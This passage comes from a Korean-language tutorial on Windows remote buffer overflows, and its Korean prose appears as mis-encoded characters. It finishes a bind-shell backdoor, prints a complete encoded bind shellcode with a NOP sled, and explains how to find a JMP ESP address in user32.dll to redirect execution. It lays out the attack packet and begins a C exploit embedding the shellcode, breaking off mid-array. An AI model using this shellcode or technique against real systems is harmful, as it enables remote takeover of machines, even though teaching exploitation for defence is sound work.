        closesocket(client_sockfd);

        MessageBox(HWND_DESKTOP, "Á¾·áµÇ¾ú½À´Ï´Ù.", "¾Ë¸²", MB_OK);

        return 0;

}

==========================================================


cmd.exeÀÇ ÀÔÃâ·Â ´ë»óÀÌ ºÎ¸ð ÇÁ·Î¼¼½º·Î Àü´ÞµÇ´Â Á¡¿¡¼­ ¾ÕÀÇ ¿¹Á¦¿Í µ¿ÀÏÇÏ´Ù. ÇÏÁö¸¸,

¾Õ¿¡¼± cmd.exe·ÎºÎÅÍ Àü´Þ¹ÞÀº ³»¿ëÀ» MessageBox·Î Ãâ·ÂÇÏ¿´À¸³ª, À̹ø¿£ ±× ³»¿ëÀ» ¼ÒÄÏÀ»

ÅëÇÏ¿© ¿¬°áµÈ Ŭ¶óÀ̾ðÆ®·Î Àü´ÞÇØ ÁÖ¾ú´Ù. ¸¶Âù°¡Áö·Î cmd.exe·Î Àü´ÞµÈ ³»¿ë ¿ª½Ã Ŭ¶óÀ̾ðÆ®·ÎºÎÅÍ

¼ö½ÅµÈ °ÍÀÌ´Ù. »õ·Î Ãß°¡µÈ ÇÔ¼ö·Î PeekNamedPipe()°¡ »ç¿ëµÇ¾ú´Âµ¥, ÀÌ ÇÔ¼ö´Â ÇØ´ç ÆÄÀÌÇÁ

¹öÆÛ¿¡ »õ·Î¿î °ªÀÌ ÀÖ´ÂÁö¸¦ È®ÀÎÇØÁØ´Ù. ÀÌÁ¦ ¿Ï¼ºµÈ ÇÁ·Î±×·¥À» ½ÇÇàÇÑ ÈÄ, ÅÚ³ÝÀ¸·Î TCP 12345¹ø

Æ÷Æ®¿¡ Á¢¼ÓÇÏ¿© cmd.exe¿Í Åë½ÅÀ» Çغ¸ÀÚ.





¸Å¿ì ¸¸Á·½º·´°Ô ÀÛµ¿ÇÔÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù. ÀÌó·³ Windows ȯ°æ¿¡¼­ÀÇ Bind Shell Backdoor ±¸ÇöÀ»

¿Ï·áÇÏ¿´À¸³ª, ÁøÂ¥ ½ÃÀÛÀº Áö±ÝºÎÅÍÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥À» ±â°è¾î·Î º¯È¯ÇØ¾ß ½ÇÁ¦ °ø°Ý¿¡¼­ ½á¸ÔÀ»

¼ö Àֱ⠶§¹®ÀÌ´Ù.


ÀÌÁ¦ Áö±Ý²¯ ÀÛ¼ºÇÑ WINAPI ¼Ò½º ±â¹ÝÀ¸·Î ÄÄÆÄÀÏ µÈ ÇÁ·Î±×·¥À» ±â°è¾î·Î º¯È¯ÇÒ Â÷·ÊÀÌ´Ù.

±×¸®°í ¿Ï¼ºµÈ ±â°è¾î¸¦ Bind Shellcode¶ó°í ºÎ¸¦ °ÍÀÌ´Ù.


°¡Àå ½±°Ô À§ ÇÁ·Î±×·¥ÀÇ ±â°è¾î Äڵ带 ¾ò¾î³»´Â ¹æ¹ýÀº ¹«¾ùÀϱî? ±×°ÍÀº ¹Ù·Î ÄÄÆÄÀÏµÈ ¹ÙÀ̳ʸ®

ÆÄÀÏÀ» µð¹ö±ë Åø·Î OPENÇÑ ÈÄ, ±×°÷¿¡ Ãâ·ÂµÈ OP CODE(¾î¼Àºí¸®¾î ¸í·É¿¡ ´ëÀÀµÇ´Â °¢°¢ÀÇ ±â°è¾î ¸í·É)µéÀ»

±×´ë·Î ÂÞ¿í À̾ ¹Þ¾Æ Àû´Â °ÍÀÌ´Ù.


ÇÏÁö¸¸, ÀÌ ¹æ¹ý¿£ Ä¡¸íÀûÀÎ ¹®Á¦Á¡ÀÌ Á¸ÀçÇÑ´Ù. ¸¸¾à ³» ÄÄÇ»Å͸¦ A¶ó°í ÇÏ°í, ¸®¸ðÆ® ¿À¹öÇ÷οìÀÇ

°ø°Ý ´ë»óÀÌ µÇ´Â ÄÄÇ»Å͸¦ B¶ó°í Çغ¸ÀÚ. ±×¸®°í, ¾Õ¼­ »ç¿ëµÈ socket, bind, listen µîÀÇ ÇÔ¼öµéÀÌ

¸ðµÎ WSOCK32.DLL¶ó´Â µ¿Àû ¶óÀ̺귯¸® ¾È¿¡ Á¸ÀçÇÏ´Â ÇÔ¼öµéÀ̶ó´Â Á¡À» »ó±âÇÏÀÚ. ±×·³, ³» ÄÄÇ»ÅÍ

A¿¡¼­ ÄÄÆÄÀÏ µÈ ¹ÙÀ̳ʸ® ÆÄÀÏÀº ¿ª½Ã ³» ÄÄÇ»ÅÍ È¯°æ¿¡ ÀûÀçµÈ ¶óÀ̺귯¸® ÇÔ¼öµéÀÇ ÁÖ¼Ò¸¦ °¡¸®Å°°í

ÀÖÀ» °ÍÀÌ´Ù. ¿¹¸¦ µé¾î, A ÄÄÇ»ÅÍ¿¡ µ¿ÀûÀ¸·Î ÀûÀçµÈ socket() ÇÔ¼öÀÇ ÁÖ¼Ò°¡ 0x74fa353d¶ó°í ÇßÀ» ¶§,

B ÄÄÇ»ÅÍÀÇ socket() ÇÔ¼öÀÇ ÁÖ¼Ò´Â 0x77777777ÀÏ ¼öµµ ÀÖ°í, 0x76666666ÀÏ ¼öµµ ÀÖ°í, ¿©ÇÏÆ° A¿¡¼­ÀÇ

ÇÔ¼ö ÁÖ¼Ò¿Í B¿¡¼­ÀÇ ÇÔ¼ö ÁÖ¼Ò´Â ´Ù¸¦ ¼ö ÀÖ´Ù´Â Á¡ÀÌ´Ù. ¹°·Ð A¿Í BÀÇ È¯°æ(OS, Service Pack version)ÀÌ

¿ÏÀüÈ÷ µ¿ÀÏÇÏ´Ù¸é »ó°ü¾ø°ÚÁö¸¸, ±×·¸Áö ¾ÊÀ» °æ¿ì¿£ A¿¡¼­ ÀÛ¼ºµÈ Bind Shellcode¸¦ B¿¡ ÁÖÀÔÇÏ¿©

½ÇÇàÇÏ°Ô µÇ¾úÀ» ¶§ Á¤»óÀûÀ¸·Î ÀÛµ¿ÇÒ¸®°¡ ¸¸¹«ÇÏ´Ù.


±×·³ ÀÌ ¹®Á¦Á¡¿¡ ´ëÇÑ ÇØ°áÃ¥À» ¾Ë¾Æº¸ÀÚ. ´Ü¼ø ¹«½ÄÇÏ°Ô »ý°¢ÇÑ´Ù¸é, Target ȯ°æ¿¡ ¸Â°Ô °¢°¢ÀÇ ¶óÀ̺귯¸®

ÇÔ¼ö ÁÖ¼Ò¸¦ ±× ¶§ ±× ¶§ ¼öÁ¤ÇØ ÁÖ´Â °ÍÀÌ´Ù. Áï, À§¿¡¼­ »ç¿ëµÈ ¾à 10°³ÀÇ ¶óÀ̺귯¸® ÇÔ¼ö¿¡ ´ëÇÑ OS, SP

¹öÀüº° ÁÖ¼Ò °ª ¸ðÀ½ÁýÀÌ¶óµµ ÀÖ¾î¾ß°Ú´Ù.

ÇÏÁö¸¸, ÀÌ°Ç ´©°¡ ºÁµµ ³Ê¹«³ª ¹ø°Å·Ó°í ¾Æ¸¶Ãò¾îƽÇÑ ¹æ¹ýÀÌ´Ù. Á¶±Ý ´õ ±ò²ûÇÑ ¹æ¹ýÀº ¾øÀ»±î?

´Ù½Ã ¸»Çؼ­ °¢ ½Ã½ºÅÛÀÇ È¯°æ¿¡ ¸Â´Â ¶óÀ̺귯¸® ÇÔ¼ö ÁÖ¼Ò¸¦ Bind Shellcode°¡ ÀÚµ¿À¸·Î ã¾Æ¼­ »ç¿ëÇÏ°Ô

ÇÒ ¼ö´Â ¾øÀ»±î? ´ÙÇàÀ̵µ ¶óÀ̺귯¸® ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ±¸ÇØÁÖ´Â ¶óÀ̺귯¸® ÇÔ¼ö°¡ Àֱ⠶§¹®¿¡ °¡´ÉÇÏ´Ù.

´ÙÀ½ÀÇ ¿¹¸¦ º¸ÀÚ.


==========================================================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        HMODULE hModule;

        void *addr;

        char str[100];

        hModule = LoadLibrary("WSOCK32.DLL");

        addr = GetProcAddress(hModule, "socket");

        wsprintf(str, "address of socket library function : 0x%x", addr);

        MessageBox(HWND_DESKTOP, str, "¾Ë¸²", 0);

        return 0;

}

==========================================================



Áï, À§ µÎ ÇÔ¼ö¸¸ ÀÖÀ¸¸é ¸ðµç ¶óÀ̺귯¸® ÇÔ¼öµéÀÇ ÁÖ¼Ò °ªÀ» ¾ò¾î¿Ã ¼ö ÀÖ´Ù. ¹°·Ð À§ µÎ ÇÔ¼ö ¿ª½Ã

¶óÀ̺귯¸® ÇÔ¼öÀ̱⠶§¹®¿¡ ¹Ì¸® °¢ OS ¹× Service Pack¿¡ µû¸¥ ÁÖ¼Ò °ªÀ» ¾Ë°í ÀÖ¾î¾ß ÇÑ´Ù. ÇÏÁö¸¸,

10°³ÀÇ ÇÔ¼ö¿¡ ´ëÇÑ ÁÖ¼Ò¸¦ ¾Ë¾Æ³»´Â °Íº¸´Ù´Â À§ 2°³ÀÇ ÇÔ¼ö¿¡ ´ëÇÑ ÁÖ¼Ò¸¦ ¾Æ´Â °ÍÀÌ ³ëµ¿ÀÇ ½Ã°£À»

ÈξÀ Àý¾àÇØ ÁØ´Ù.


´ÙÀ½Àº ÃÖÁ¾ÀûÀ¸·Î ¿Ï¼ºµÈ Windows ±â¹ÝÀÇ Bind ShellcodeÀÌ´Ù.

(WINAPI -> ±â°è¾î º¯È¯ °úÁ¤°ú ÀÚµ¿À¸·Î LoadLibrary¿Í GetProcAddress ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ã´Â ¹æ¹ýÀº

ÀÌ ¹®¼­ÀÇ ´ÙÀ½ ¹öÀü¿¡ Ãß°¡µÉ ¿¹Á¤ÀÌ´Ù. ´ÙÀ½ ½©Äڵ忣 ÀÚµ¿À¸·Î À§ µÎ ÇÔ¼öÀÇ ÁÖ¼Ò¸¦ ã´Â ·çƾÀÌ Àû¿ëµÇ¾î ÀÖ´Ù.)


    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

    "\x90\x90\x90\x90\x90\x90\x90\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"

    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"

    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"

    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"

    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"

    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"

    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"

    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"

    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"

    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"

    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"

    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"

    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"

    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"

    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"

    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"

    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"

    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"

    "\xd7\x57\xec\xe5\xbf\x5a\xf7\xed\xdb\x1c\x1d\xe6\x8f\xb1\x78\xd4"

    "\x32\x0e\xb0\xb3\x7f\x01\x5d\x03\x7e\x27\x3f\x62\x42\xf4\xd0\xa4"

    "\xaf\x76\x6a\xc4\x9b\x0f\x1d\xd4\x9b\x7a\x1d\xd4\x9b\x7e\x1d\xd4"

    "\x9b\x62\x19\xc4\x9b\x22\xc0\xd0\xee\x63\xc5\xea\xbe\x63\xc5\x7f"

    "\xc9\x02\xc5\x7f\xe9\x22\x1f\x4c\xd5\xcd\x6b\xb1\x40\x64\x98\x0b"

    "\x77\x65\x6b\xd6\x93\xcd\xc2\x94\xea\x64\xf0\x21\x8f\x32\x94\x80"

    "\x3a\xf2\xec\x8c\x34\x72\x98\x0b\xcf\x2e\x39\x0b\xd7\x3a\x7f\x89"

    "\x34\x72\xa0\x0b\x17\x8a\x94\x80\xbf\xb9\x51\xde\xe2\xf0\x90\x80"

    "\xec\x67\xc2\xd7\x34\x5e\xb0\x98\x34\x77\xa8\x0b\xeb\x37\xec\x83"

    "\x6a\xb9\xde\x98\x34\x68\xb4\x83\x62\xd1\xa6\xc9\x34\x06\x1f\x83"

    "\x4a\x01\x6b\x7c\x8c\xf2\x38\xba\x7b\x46\x93\x41\x70\x3f\x97\x78"

    "\x54\xc0\xaf\xfc\x9b\x26\xe1\x61\x34\x68\xb0\x83\x62\x54\x1f\x8c"

    "\xf4\xb9\xce\x9c\xbc\xef\x1f\x84\x34\x31\x51\x6b\xbd\x01\x54\x0b"

    "\x6a\x6d\xca\xdd\xe4\xf0\x90\x80\x2f\xa2\x04"


8. ¸®¸ðÆ® Buffer Overflow - Shellcode¿Í Return AddressÀÇ À§Ä¡ ã±â

¸®¸ðÆ® ȯ°æ¿¡¼­ÀÇ Shellcode À§Ä¡¸¦ ã´Â ¹æ¹ýÀ̶ó Çϸé, ÈçÈ÷ Brute Force¸¦ ÅëÇÑ °íÀüÀûÀÎ ³ë°¡´Ù

¹æ½ÄÀ» ¶°¿Ã¸± °ÍÀÌ´Ù. ½ºÅÃÀÇ °¡Àå ³¡ ºÎºÐÀÎ 0xbfffffff¿¡¼­ºÎÅÍ 4¹ÙÀÌÆ®¾¿ °¨¼ÒÇØ°¡¸ç ½©ÄÚµåÀÇ

À§Ä¡¸¦ ã¾Æ ³ª°¡´Ù°¡, ¼º°øÇßÀ» °æ¿ì Bind Shell Æ÷Æ®°¡ ¿­¸®´Â ¿ø¸®ÀÌ´Ù.

ÇÏÁö¸¸, ¸®¸ðÆ® Buffer Overflow °áÇÔÀ» °¡Áø ¿ì¸®ÀÇ Ãë¾à ÇÁ·Î±×·¥Àº ´Ü Çѹø¸¸ µ¥ÀÌÅ͸¦ ¼ö½ÅÇÏ°í

Á¾·áµÇµµ·Ï ±¸Çö µÇ¾î ÀÖ´Ù. µû¶ó¼­, Brute Force °ø°ÝÀ» ½ÃµµÇÒ ¼ö ¾ø´Â »óȲÀÌ´Ù. ±âȸ´Â ´Ü ÇÑ ¹øÀ̶ó´Â

¸»ÀÌ´Ù. ´Ü ÇÑ ¹ø¿¡ °ø°ÝÀ» ¼º°ø½ÃÅ°Áö ¸øÇÒ °æ¿ì ´õ ÀÌ»ó °ø°Ý ½Ãµµ¸¦ ÇÒ ¼ö ¾ø´Ù. ±×·³, ¸®¸ðÆ® »ó¿¡¼­

Ãë¾à ÇÁ·Î±×·¥¿¡ ÁÖÀÔµÈ ShellcodeÀÇ À§Ä¡¸¦ ãÀ» ¼ö ÀÖ´Â ¹æ¹ýÀº ¹«¾ùÀϱî? ¾Õ¼­ ·ÎÄà ȯ°æ¿¡¼­´Â

µð¹ö°Å¸¦ ÅëÇÏ¿© Stack Pointer °ªÀ» ¾òÀº ÈÄ ÀÌ °ªÀ» ÀÌ¿ëÇØ ½©ÄÚµåÀÇ À§Ä¡¸¦ °è»êÇÏ¿´´Ù. ÇÏÁö¸¸,

¸®¸ðÆ® ȯ°æ¿¡¼­´Â ´ç¿¬ ÀÌ·¯ÇÑ ¹æ¹ýÀÌ ºÒ°¡´ÉÇÏ´Ù. ¿©±â¿¡¼± Jump esp ¹æ¹ýÀ» ÀÌ¿ëÇÏ¿© ´Ü ÇÑ ¹ø¿¡

½©ÄÚµåÀÇ À§Ä¡¸¦ ã¾Æ³»´Â Å×Å©´ÐÀ» ¼³¸íÇϵµ·Ï ÇÏ°Ú´Ù.


¸ÕÀú ÀÌ °ø°Ý ¿ø¸®¸¦ ÀÌÇØÇϱâ À§ÇÏ¿© Ãë¾à ÇÁ·Î±×·¥ÀÇ ÁÖ¿ä ¼Ò½º Äڵ带 ´Ù½Ã »ìÆ캸ÀÚ.


==========================================================

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)

{

        char data[40];

        ... »ý·« ...

        closesocket(server_sockfd);

        closesocket(client_sockfd);

        return 0;

}

==========================================================


´ÙÀ½Àº À§ WINAPI Äڵ忡 ´ëÀÀÇÏ´Â ¾î¼Àºí¸®¾î ÄÚµåÀÌ´Ù.


==========================================================

00401090  PUSH EBP

00401091  MOV EBP,ESP

00401093  SUB ESP,228 // ¼±¾ðµÈ º¯¼öÀÇ Å©±â + 512ÀÇ ¿ë·®ÀÌ ½ºÅÿ¡ ÇÒ´çµÈ´Ù.

... »ý·« ...

00401275  ADD ESP,228 // ½ºÅà Æ÷ÀÎÅ͸¦ ÇÔ¼ö°¡ È£ÃâµÇ±â ÀüÀÇ À§Ä¡·Î µÇµ¹¸°´Ù.

0040127B  CMP EBP,ESP

0040127D  CALL dummy2.__chkesp

00401282  MOV ESP,EBP 

00401284  POP EBP

00401285  RETN 10

==========================================================


¸ÕÀú, ÀÌ WinMain() ÇÔ¼ö°¡ È£ÃâµÈ Á÷ÈÄ 00401091±îÁöÀÇ ¸í·ÉÀÌ ½ÇÇàµÈ ½ÃÁ¡¿¡¼­ÀÇ ½ºÅà ¸ð¾çÀ» ±¸»óÇØ º¸ÀÚ.


 [Saved Frame Pointer] [Return Address] [WinMainÀÇ ÀÎÀÚµé] [...] <-- ½ºÅÃÀÌ ½×ÀÌ´Â ¹æÇâ

¡èEBP

¡èESP


´ÙÀ½Àº Áö¿ª º¯¼ö°¡ Ãß°¡·Î ÇÒ´çµÈ ¸ð½ÀÀÌ´Ù.


 [buffer(40)] [Saved Frame Pointer] [Return Address] [WinMainÀÇ ÀÎÀÚµé] [...]

¡èESP         ¡èEBP


´ÙÀ½, Áö¿ª º¯¼ö°¡ ÇØÁ¦µÈ´Ù.


 [Saved Frame Pointer] [Return Address] [WinMainÀÇ ÀÎÀÚµé] [...] <-- ½ºÅÃÀÌ ½×ÀÌ´Â ¹æÇâ

¡èEBP

¡èESP


POP EBP ¸í·É¿¡ ÀÇÇÏ¿© Saved Frame Pointer°¡ ²¨³»Áø´Ù.


 [Return Address] [WinMainÀÇ ÀÎÀÚµé] [...] <-- ½ºÅÃÀÌ ½×ÀÌ´Â ¹æÇâ

¡èESP                               ¡è±âÁ¸ÀÇ EBP´Â ÀÌÂëÀ» °¡¸®Å°°í ÀÖÀ» °ÍÀÌ´Ù.


RETN ¸í·É¿¡ ÀÇÇÏ¿© Return Address°¡ ²¨³»Áø´Ù.


 [WinMainÀÇ ÀÎÀÚµé] [...] <-- ½ºÅÃÀÌ ½×ÀÌ´Â ¹æÇâ

¡èESP               ¡è±âÁ¸ÀÇ EBP´Â ÀÌÂëÀ» °¡¸®Å°°í ÀÖÀ» °ÍÀÌ´Ù.


WinMainÀÇ ÀÎÀÚ 4°³¸¦ ÇØÁ¦ÇÑ´Ù. (4 * 4 = 16¹ÙÀÌÆ®)


 [...] <-- ½ºÅÃÀÌ ½×ÀÌ´Â ¹æÇâ

¡èESP              


ÀÌó·³, Return Address°¡ ²¨³»¾îÁö°í, ÇÔ¼öÀÇ ÀÎÀÚ°¡ ÇØÁ¦µÇ°í, ²¨³»Áø Return Address·Î JUMPÇÏ´Â

¼ø°£ÀÇ ESP ·¹Áö½ºÅÍ°¡ ÇÔ¼öÀÇ ÀÎÀÚ°¡ ÀúÀåµÇ¾î ÀÖ´ø ¹Ù·Î ´ÙÀ½ µ¥ÀÌÅ͸¦ °¡¸®Å°°í ÀÖ´Ù´Â Á¡¿¡ ÁÖ¸ñÇÏÀÚ.


±×·³, ¸¸¾à °ø°ÝÀÚ°¡ ´ÙÀ½°ú °°Àº °ø°Ý Äڵ带 Àü¼ÛÇÑ´Ù¸é ÀÌ ESP°¡ ¾î¶² Àǹ̸¦ °¡Áö°Ô µÇ´ÂÁö

´«À» Å©°Ô ¶ß°í Àß º¸ÀÚ.


* °ø°ÝÀÚÀÇ ÄÚµå

[dummy(40)][dummy(4)][New Return address][dummy(16)][Bind Shellcode]


* Buffer Overflow Á÷ÀüÀÇ ½ºÅÃÀÇ ¸ð¾ç

 [buffer(40)] [Saved Frame Pointer] [Return Address] [WinMainÀÇ ÀÎÀÚµé] [...]


* Buffer Overflow Á÷ÈÄÀÇ ½ºÅÃÀÇ ¸ð¾ç

[dummy(40)][dummy(4)][New Return address][dummy(16)][Bind Shellcode] [...]


ÀÌÁ¦ ÀÌ·¯ÇÑ »óÅ¿¡¼­ ¾Õ¼­ ¼³¸íÇß´ø °Í°ú µ¿ÀÏÇÏ°Ô ½ºÅà Æ÷ÀÎÅÍÀÇ °ªÀÌ º¯°æµÇ¾î ³ª°£´Ù.

±×¸®°í New Return Address·Î JUMPÇÏ´Â ½ÃÁ¡¿¡¼­ÀÇ ½ºÅà Æ÷ÀÎÅÍ °ªÀº?


 [Bind Shellcode] [...] <-- ½ºÅÃÀÌ ½×ÀÌ´Â ¹æÇâ

¡èESP              


¹Ù·Î ¿ì¸®ÀÇ Bind ShellcodeÀÌ´Ù.! Return Address ÀÌÈÄ·Î Bind Shellcode¸¦ ¿¬°á½ÃÅ°¸é, ÇÁ·Î±×·¥ÀÇ

È帧ÀÌ º¯°æµÇ´Â ½ÃÁ¡¿¡¼­ÀÇ ESP ·¹Áö½ºÅÍ°¡ ÀÌ ÄÚµåÀÇ ½ÃÀÛ ÁÖ¼Ò¸¦ °¡¸®Å°°í ÀÖ°Ô µÈ´Ù.

ÀÌ ¾ó¸¶³ª ´ç¿¬Çϸ鼭µµ ³î¶ó¿î ¹ß°ßÀΰ¡?


ÀÌÁ¦ ´ÙÀ½°ú °°Àº ÇÑ ¹ø¿¡ °ø°ÝÀ» ¼º°ø½Ãų ½Ã³ª¸®¿À¸¦ ±¸»óÇÒ ¼ö ÀÖ°Ô µÇ¾ú´Ù.


°¡)  [dummy(40)][dummy(4)][New Return address][dummy(16)][Bind Shellcode] ÇüÅ·Π±¸¼ºµÈ ÆÐŶÀ» »ý¼ºÇÑ´Ù.

³ª) New Return address´Â JUMP ESP ±â°è¾î Äڵ尡 À§Ä¡ÇÏ´Â ÁÖ¼Ò¸¦ ÁöÁ¤ÇØ ÁØ´Ù.

´Ù) ±× ÁÖ¼Ò´Â ÀûÀçµÈ µ¿Àû ¶óÀ̺귯¸®(DLL)¿¡¼­ ãÀ¸¸é Àû´çÇÏ´Ù.

¶ó) ¿Ï¼ºµÈ ÆÐŶÀ» ¼­¹ö·Î Àü¼ÛÇÑ´Ù.

¸¶) ½©À» ȹµæÇÑ´Ù.


´ÙÀ½Àº JUMP ESP ±â°è¾î Äڵ尡 À§Ä¡ÇÏ´Â ÁÖ¼Ò¸¦ ã´Â ¹æ¹ýÀÌ´Ù. À©µµ¿ìÀÇ Çʼö 3´ë DLLÀÎ USER32.DLL,

KERNEL32.DLL, GDI32.DLL Áß¿¡¼­ ãÀ¸¸é µÉ °ÍÀÌ´Ù. Âü°í·Î ÀÌ ÆÄÀϵéÀº À©µµ¿ìÀÇ Á¾·ù¿Í ¼­ºñ½º ÆÑ

¹öÀü¿¡ µû¶ó¼­ ³»¿ë¹°¿¡ Â÷ÀÌ°¡ ÀÖÀ¸¹Ç·Î °¢ ¹öÀü¿¡¼­ ±¸ÇÑ JUMP ESP ÄÚµå´Â ¿ª½Ã °°Àº ¹öÀü¿¡¼­¸¸

Àû¿ë½Ãų ¼ö ÀÖ´Ù. µû¶ó¼­, Ÿ°ÙÀÇ Á¾·ù ȤÀº ¼­ºñ½º ÆÑ ¹öÀüÀÌ ´Ù¸£´Ù¸é ¿ª½Ã ±×¿¡ ¸Â´Â ȯ°æ¿¡¼­ÀÇ

JUMP ESP ÄÚµå ÁÖ¼Ò¸¦ ã¾Æ¾ß ÇÑ´Ù.

´ÙÀ½Àº DLL ÆÄÀÏ ³»¿¡¼­ JUMP ESP Äڵ带 ã´Â ¹æ¹ýÀÌ´Ù.


°¡) dumpbin /disasm user32.dll > result.txt ¸í·ÉÀ¸·Î user32.dllÀÇ ³»¿ëÀ» ÆÄÀÏ·Î ÀúÀåÇÑ´Ù.

³ª) À§ result.txt ÆÄÀÏÀ» ¿­¾î¼­ JUMP ESP¿¡ ÇØ´çÇÏ´Â ¿É ÄÚµåÀÎ FF E4¸¦ °Ë»öÇÑ´Ù.

´Ù) ÇØ´ç Äڵ带 ãÀ» ¼ö ¾ø¾úÀ» °æ¿ì kernel32.dll, gdi32.dll, wsock32.dll µîÀÇ ´Ù¸¥ ÆÄÀÏÀ» ´ë»óÀ¸·Î À§ °úÁ¤À» ¹Ýº¹ÇÑ´Ù.

¶ó) °Ë»öÇÑ °á°ú°¡ À§Ä¡ÇÏ´Â ¸Þ¸ð¸® ÁÖ¼Ò °ªÀ» ¹Þ¾Æ Àû´Â´Ù.

¸¶) ±× ÁÖ¼Ò¸¦ Exploit¿¡ Àû¿ë ½ÃŲ´Ù.


³ª´Â user32.dll ¾ÈÀÇ ´ÙÀ½°ú °°Àº ÁÖ¼Ò¿¡¼­ FF E4¸¦ ãÀ» ¼ö ÀÖ¾ú´Ù.

        

        77DE4C28: E8 FF E4 FF FF     call        77DE312C


FF E4ÀÇ ÁÖ¼Ò´Â 1¹ÙÀÌÆ®¸¦ ´õÇÑ 77DE4C29°¡ µÉ °ÍÀÌ´Ù. ÀÌÁ¦ ÀÌ °ªÀ» »õ·Î¿î Return Address·Î µ¤¾î¹ö¸®¸é °ÔÀÓ ¿À¹öÀÌ´Ù.


9. ¸®¸ðÆ® Buffer Overflow - °ø°Ý Å×½ºÆ®

´ÙÀ½°ú °°Àº ExploitÀ» ±¸ÇöÇÏ¿© °ø°Ý Å×½ºÆ®¸¦ Çغ¸ÀÚ.


==========================================================

#include <windows.h>


char shellcode[] = "\xeb\x19\x5e\x31\xc9\x81\xe9\x89\xff"

    "\xff\xff\x81\x36\x80\xbf\x32\x94\x81\xee\xfc\xff\xff\xff\xe2\xf2"

    "\xeb\x05\xe8\xe2\xff\xff\xff\x03\x53\x06\x1f\x74\x57\x75\x95\x80"

    "\xbf\xbb\x92\x7f\x89\x5a\x1a\xce\xb1\xde\x7c\xe1\xbe\x32\x94\x09"

    "\xf9\x3a\x6b\xb6\xd7\x9f\x4d\x85\x71\xda\xc6\x81\xbf\x32\x1d\xc6"

    "\xb3\x5a\xf8\xec\xbf\x32\xfc\xb3\x8d\x1c\xf0\xe8\xc8\x41\xa6\xdf"

    "\xeb\xcd\xc2\x88\x36\x74\x90\x7f\x89\x5a\xe6\x7e\x0c\x24\x7c\xad"

    "\xbe\x32\x94\x09\xf9\x22\x6b\xb6\xd7\x4c\x4c\x62\xcc\xda\x8a\x81"

    "\xbf\x32\x1d\xc6\xab\xcd\xe2\x84\xd7\xf9\x79\x7c\x84\xda\x9a\x81"

    "\xbf\x32\x1d\xc6\xa7\xcd\xe2\x84\xd7\xeb\x9d\x75\x12\xda\x6a\x80"

    "\xbf\x32\x1d\xc6\xa3\xcd\xe2\x84\xd7\x96\x8e\xf0\x78\xda\x7a\x80"

    "\xbf\x32\x1d\xc6\x9f\xcd\xe2\x84\xd7\x96\x39\xae\x56\xda\x4a\x80"

    "\xbf\x32\x1d\xc6\x9b\xcd\xe2\x84\xd7\xd7\xdd\x06\xf6\xda\x5a\x80"

    "\xbf\x32\x1d\xc6\x97\xcd\xe2\x84\xd7\xd5\xed\x46\xc6\xda\x2a\x80"

    "\xbf\x32\x1d\xc6\x93\x01\x6b\x01\x53\xa2\x95\x80\xbf\x66\xfc\x81"

    "\xbe\x32\x94\x7f\xe9\x2a\xc4\xd0\xef\x62\xd4\xd0\xff\x62\x6b\xd6"

    "\xa3\xb9\x4c\xd7\xe8\x5a\x96\x80\xae\x6e\x1f\x4c\xd5\x24\xc5\xd3"

    "\x40\x64\xb4\xd7\xec\xcd\xc2\xa4\xe8\x63\xc7\x7f\xe9\x1a\x1f\x50"

